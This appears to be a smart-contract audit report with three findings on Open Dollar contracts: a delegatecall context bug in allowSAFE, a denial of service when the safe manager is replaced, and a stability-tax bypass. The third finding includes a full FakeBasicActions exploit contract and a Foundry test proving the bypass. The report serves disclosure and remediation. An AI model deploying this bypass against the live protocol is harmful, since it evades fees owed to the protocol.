Open Dollar - yashar's results

Lines of code

https://github.com/open-dollar/od-contracts/blob/f4f0246bb26277249c1d5afe6201d4d9096e52e6/src/contracts/proxies/ODSafeManager.sol#L105

Vulnerability details

Impact

The presence of the safeAllowed(_safe) modifier, combined with the context change during delegate calls, results in transaction reversion when the proxy owner attempts to access the allowSAFE function, as the SAFE owner is the proxy and not the proxy owner.

Proof of Concept

Due to the presence of safeAllowed(_safe) modifier, only the owner of a SAFE is able to call the allowSAFE function, and the owner of a safe is the ODProxy. Given that the ODProxy is only able to make a delegatecall to the target, so the ODSafeManager will be triggered in the context of the ODProxy and in this scenario the msg.sender is the EOA (Proxy Owner) that has called the proxy and not the proxy itself, so the transaction will revert because the owner of the SAFE is the proxy and not the owner of the proxy.

To test the scenario copy/paste the following test function in NFT.t.sol. Command: forge test --fork-url $ANVIL_RPC --match-test test_CallAllowSAFE

  function test_CallAllowSAFE() public {
    address proxy = proxies[1];
    bytes32 cType = cTypes[1];
    uint256 vaultId = vaultIds[proxy][cType];
    address charlie = vm.addr(10);

    bytes memory payload = abi.encodeWithSelector(
      safeManager.allowSAFE.selector,
      vaultId,
      charlie,
      1
    );

    // User BOB calls the proxy, and the proxy makes a delegatecall to allowSAFE but the transaction reverts because 
    // when the proxy delegatecalls the allowSAFE, allowSAFE will be invoked in the context of the proxy contract, so the msg.sender here is BOB 
    // and not the proxy itself to pass the safeAllowed(_safe) check
    vm.expectRevert();
    vm.prank(users[1]);
    ODProxy(proxy).execute(address(safeManager), payload);
  }

Tools Used

VSCode Foundry

Recommended Mitigation Steps

Define a mechanism within BasicActions to call the allowSAFE

+ function callAllowSAFE(address _manager, uint256 _safeId, address _usr, uint256 _ok) external {
+   ODSafeManager(_manager).allowSAFE(_safeId, _usr, _ok);
+ }

Assessed type

Context

Lines of code

https://github.com/open-dollar/od-contracts/blob/f4f0246bb26277249c1d5afe6201d4d9096e52e6/src/contracts/proxies/Vault721.sol#L126

Vulnerability details

Impact

Due to the presence of _safeId, a state variable responsible for SAFE IDs that should always correspond to the same NFT ID, in the case when the DAO updates the safeManager, the _safeId will be set to zero which will disrupt the protocols accounting, and potentially lead to a denial-of-service.

Proof of Concept

Let's say after a few month of protocols launching, while many NFTs are minted, the DAO decides to update the safeManager and calls the Vault721.sol::setSafeManager() with the newly deployed safeManagers address, after updating the safeManager, a user wants to open a SAFE, he/she calls the ODSafeManager.sol::openSAFE(), the newly deployed safeManager opens a SAFE with the id of 1 and calls the Vault721.sol::mint() with the same id which is 1, but the transaction will revert due to ERC721: token already minted error because there is a mismatch between _safeId which is 1 and the NFT tokenId which is for example 1000.

To test the scenario first add 2 following imports in NFT.t.sol:

+ import {ODSafeManager} from '@contracts/proxies/ODSafeManager.sol';
+ import {ODProxy} from '@contracts/proxies/ODProxy.sol';

Then copy/paste the following test function in NFT.t.sol and run command: forge test --fork-url $ANVIL_RPC --match-test test_UpdateSafeManager

  function test_UpdateSafeManager() public {
    address alice = users[0];
    address bob = users[1];
    bytes32 cType = cTypes[0];
    address aliceProxy = vault721.getProxy(alice);
    address bobProxy = vault721.getProxy(bob);
    uint256 safe;
    
    // Alice opens a SAFE and an NFT will be minted with id let's say 2
    vm.prank(alice);
    safe = openSafe(cType, aliceProxy);
    console.log(safe);
        
    // DAO updates the SafeManager but new deployed SafeManager doesn't know anything about the already created SAFEs
    ODSafeManager newSafeManager = new ODSafeManager(address(safeEngine), address(vault721));
    vm.prank(ODGovernor_Address);
    vault721.setSafeManager(address(newSafeManager));

    // Bob tries to open a SAFE but his transaction will revert because a token with the same id is already minted
    vm.prank(bob);
    vm.expectRevert("ERC721: token already minted");
    newSafeManager.openSAFE(cType, bobProxy); 
  }

Tools Used

VSCode Foundry

Recommended Mitigation Steps

Define a mechanism to move the old safeManager's state to the newly deployed safeManager or use proxy patterns

Assessed type

DoS

Lines of code

https://github.com/open-dollar/od-contracts/blob/f4f0246bb26277249c1d5afe6201d4d9096e52e6/src/contracts/proxies/actions/BasicActions.sol#L181

Vulnerability details

Impact

Users can interact with the protocol without paying any taxes

Proof of Concept

Whenever a user wants to interact with the protocol (E.g: lock collateral, generate debt, repay debt, etc) he/she should make a call to their proxy contract and the proxy contract will make a delegatecall to BasicActions contract. BasicActions contract will calculate and pay the tax on every:

• _generateDebt: Link to code
• _repayDebt: Link to code
• _lockTokenCollateralAndGenerateDebt: Link to code
• repayAllDebt: Link to code
• repayDebtAndFreeTokenCollateral: Link to code
• repayAllDebtAndFreeTokenCollateral: Link to code

Given that this is a delegatecall to BasicActions contract and it can be any other contract, a malicious user will be able to deploy a Fake BasicActions contract that doesn't contain any Tax payment mechanism and simply bypass the Tax payment.

To test the scenario please make a file named FakeBasicActions.sol in this path: test/nft/anvil and copy/paste the following contract code that has no Tax payment mechanism in it:

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;

import {ODSafeManager} from '@contracts/proxies/ODSafeManager.sol';
import {ODProxy} from '@contracts/proxies/ODProxy.sol';

import {ISAFEEngine} from '@interfaces/ISAFEEngine.sol';
import {ICoinJoin} from '@interfaces/utils/ICoinJoin.sol';
import {ITaxCollector} from '@interfaces/ITaxCollector.sol';
import {ICollateralJoin} from '@interfaces/utils/ICollateralJoin.sol';
import {IERC20Metadata} from '@openzeppelin/token/ERC20/extensions/IERC20Metadata.sol';
import {IBasicActions} from '@interfaces/proxies/actions/IBasicActions.sol';

import {Math, WAD, RAY, RAD} from '@libraries/Math.sol';

import {CommonActions} from '@contracts/proxies/actions/CommonActions.sol';

contract FakeBasicActions {
   using Math for uint256;

  function lockTokenCollateralAndGenerateDebt(
    address _manager,
    address _taxCollector,
    address _collateralJoin,
    address _coinJoin,
    uint256 _safeId,
    uint256 _collateralAmount,
    uint256 _deltaWad
  ) public {
    address _safeEngine = ODSafeManager(_manager).safeEngine();
    ODSafeManager.SAFEData memory _safeInfo = ODSafeManager(_manager).safeData(_safeId);

    // Takes token amount from user's wallet and joins into the safeEngine
    _joinCollateral(_collateralJoin, _safeInfo.safeHandler, _collateralAmount);

    // Locks token amount into the SAFE and generates debt
    _modifySAFECollateralization(
      _manager,
      _safeId,
      _collateralAmount.toInt(),
      _getGeneratedDeltaDebt(_safeEngine, _safeInfo.collateralType, _safeInfo.safeHandler, _deltaWad)
    );

    // Exits and transfers COIN amount to the user's address
    _collectAndExitCoins(_manager, _coinJoin, _safeId, _deltaWad);
  }

  function generateDebt(
    address _manager,
    address _taxCollector,
    address _coinJoin,
    uint256 _safeId,
    uint256 _deltaWad
  ) public {
    address _safeEngine = ODSafeManager(_manager).safeEngine();
    ODSafeManager.SAFEData memory _safeInfo = ODSafeManager(_manager).safeData(_safeId);

    // Generates debt in the SAFE
    _modifySAFECollateralization(
      _manager,
      _safeId,
      0,
      _getGeneratedDeltaDebt(_safeEngine, _safeInfo.collateralType, _safeInfo.safeHandler, _deltaWad)
    );

    // Moves the COIN amount to user's address
    _collectAndExitCoins(_manager, _coinJoin, _safeId, _deltaWad);
  }

  function _modifySAFECollateralization(
    address _manager,
    uint256 _safeId,
    int256 _deltaCollateral,
    int256 _deltaDebt
  ) internal {
    ODSafeManager(_manager).modifySAFECollateralization(_safeId, _deltaCollateral, _deltaDebt);
  }

  function _getGeneratedDeltaDebt(
    address _safeEngine,
    bytes32 _cType,
    address _safeHandler,
    uint256 _deltaWad
  ) internal view returns (int256 _deltaDebt) {
    uint256 _rate = ISAFEEngine(_safeEngine).cData(_cType).accumulatedRate;
    uint256 _coinAmount = ISAFEEngine(_safeEngine).coinBalance(_safeHandler);

    // If there was already enough COIN in the safeEngine balance, just exits it without adding more debt
    if (_coinAmount < _deltaWad * RAY) {
      // Calculates the needed deltaDebt so together with the existing coins in the safeEngine is enough to exit wad amount of COIN tokens
      _deltaDebt = ((_deltaWad * RAY - _coinAmount) / _rate).toInt();
      // This is neeeded due lack of precision. It might need to sum an extra deltaDebt wei (for the given COIN wad amount)
      _deltaDebt = uint256(_deltaDebt) * _rate < _deltaWad * RAY ? _deltaDebt + 1 : _deltaDebt;
    }
  }

  function _collectAndExitCoins(address _manager, address _coinJoin, uint256 _safeId, uint256 _deltaWad) internal {
    // Moves the COIN amount to proxy's address
    _transferInternalCoins(_manager, _safeId, address(this), _deltaWad * RAY);
    // Exits the COIN amount to the user's address
    _exitSystemCoins(_coinJoin, _deltaWad * RAY);
  }

  function _transferInternalCoins(address _manager, uint256 _safeId, address _dst, uint256 _rad) internal {
    ODSafeManager(_manager).transferInternalCoins(_safeId, _dst, _rad);
  }

  function _exitSystemCoins(address _coinJoin, uint256 _coinsToExit) internal virtual {
    if (_coinsToExit == 0) return;

    ICoinJoin __coinJoin = ICoinJoin(_coinJoin);
    ISAFEEngine __safeEngine = __coinJoin.safeEngine();

    if (!__safeEngine.canModifySAFE(address(this), _coinJoin)) {
      __safeEngine.approveSAFEModification(_coinJoin);
    }

    // transfer all coins to msg.sender (proxy shouldn't hold any system coins)
    __coinJoin.exit(msg.sender, _coinsToExit / RAY);
  }

  function _joinCollateral(address _collateralJoin, address _safe, uint256 _wad) internal {
    ICollateralJoin __collateralJoin = ICollateralJoin(_collateralJoin);
    IERC20Metadata _token = __collateralJoin.collateral();

    // Transforms the token amount into ERC20 native decimals
    uint256 _decimals = _token.decimals();
    uint256 _wei = _wad / 10 ** (18 - _decimals);
    if (_wei == 0) return;

    // Gets token from the user's wallet
    _token.transferFrom(msg.sender, address(this), _wei);
    // Approves adapter to take the token amount
    _token.approve(_collateralJoin, _wei);
    // Joins token collateral into the safeEngine
    __collateralJoin.join(_safe, _wei);
  }
  
}

And also make another file called NinjaTests.t.sol in this path: test/nft/anvil and copy/paste the following test code in it:

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.19;
import 'forge-std/Test.sol';
import {AnvilFork} from '@test/nft/anvil/AnvilFork.t.sol';
import {WSTETH, ARB, CBETH, RETH, MAGIC} from '@script/GoerliParams.s.sol';
import {IERC20} from '@openzeppelin/token/ERC20/IERC20.sol';
import {SafeERC20} from '@openzeppelin/token/ERC20/utils/SafeERC20.sol';
import {Vault721} from '@contracts/proxies/Vault721.sol';
import {IODSafeManager} from '@interfaces/proxies/IODSafeManager.sol';
import {ISAFEEngine} from '@interfaces/ISAFEEngine.sol';
import {ODSafeManager} from '@contracts/proxies/ODSafeManager.sol';
import {ODProxy} from '@contracts/proxies/ODProxy.sol';
import {FakeBasicActions} from '@test/nft/anvil/FakeBasicActions.sol';

contract NinjaTests is AnvilFork {
  using SafeERC20 for IERC20;

  FakeBasicActions fakeBasicActions;

  function test_setup() public {
    assertEq(totalVaults, vault721.totalSupply());
    checkProxyAddress();
    checkVaultIds();
  }

  function test_GenerateDebtWithoutTax() public {
    fakeBasicActions = new FakeBasicActions();
    address proxy = proxies[1];
    bytes32 cType = cTypes[1];
    uint256 vaultId = vaultIds[proxy][cType];

    bytes memory payload = abi.encodeWithSelector(
      fakeBasicActions.lockTokenCollateralAndGenerateDebt.selector,
      address(safeManager),
      address(taxCollector),
      address(collateralJoin[cType]),
      address(coinJoin),
      vaultId,
      1,
      0
    );
    vm.startPrank(users[1]);

    // Proxy makes a delegatecall to Malicious BasicAction contract and bypasses the TAX payment
    ODProxy(proxy).execute(address(fakeBasicActions), payload);
    genDebt(vaultId, 10, proxy);
    
    vm.stopPrank();

    IODSafeManager.SAFEData memory sData = safeManager.safeData(vaultId);
    address safeHandler = sData.safeHandler;
    ISAFEEngine.SAFE memory SafeEngineData = safeEngine.safes(cType, safeHandler);
    assertEq(1, SafeEngineData.lockedCollateral);
    assertEq(10, SafeEngineData.generatedDebt);
  }
}

Test commands: forge test --fork-url $ANVIL_RPC --match-test test_GenerateDebtWithoutTax

Tools Used

VSCode Foundry

Recommended Mitigation Steps

Move the Tax payment mechanism into ODSafeManager contract E.g:

  function modifySAFECollateralization(
    uint256 _safe,
    int256 _deltaCollateral,
    int256 _deltaDebt
  ) external safeAllowed(_safe) {
+   ODSafeManager.SAFEData memory _safeInfo = _safeData[_safe];
+   ITaxCollector(_taxCollector).taxSingle(_safeInfo.collateralType);
    SAFEData memory _sData = _safeData[_safe];
    ISAFEEngine(safeEngine).modifySAFECollateralization(
      _sData.collateralType, _sData.safeHandler, _sData.safeHandler, _sData.safeHandler, _deltaCollateral, _deltaDebt
    );
    emit ModifySAFECollateralization(msg.sender, _safe, _deltaCollateral, _deltaDebt);
  }

Assessed type

call/delegatecall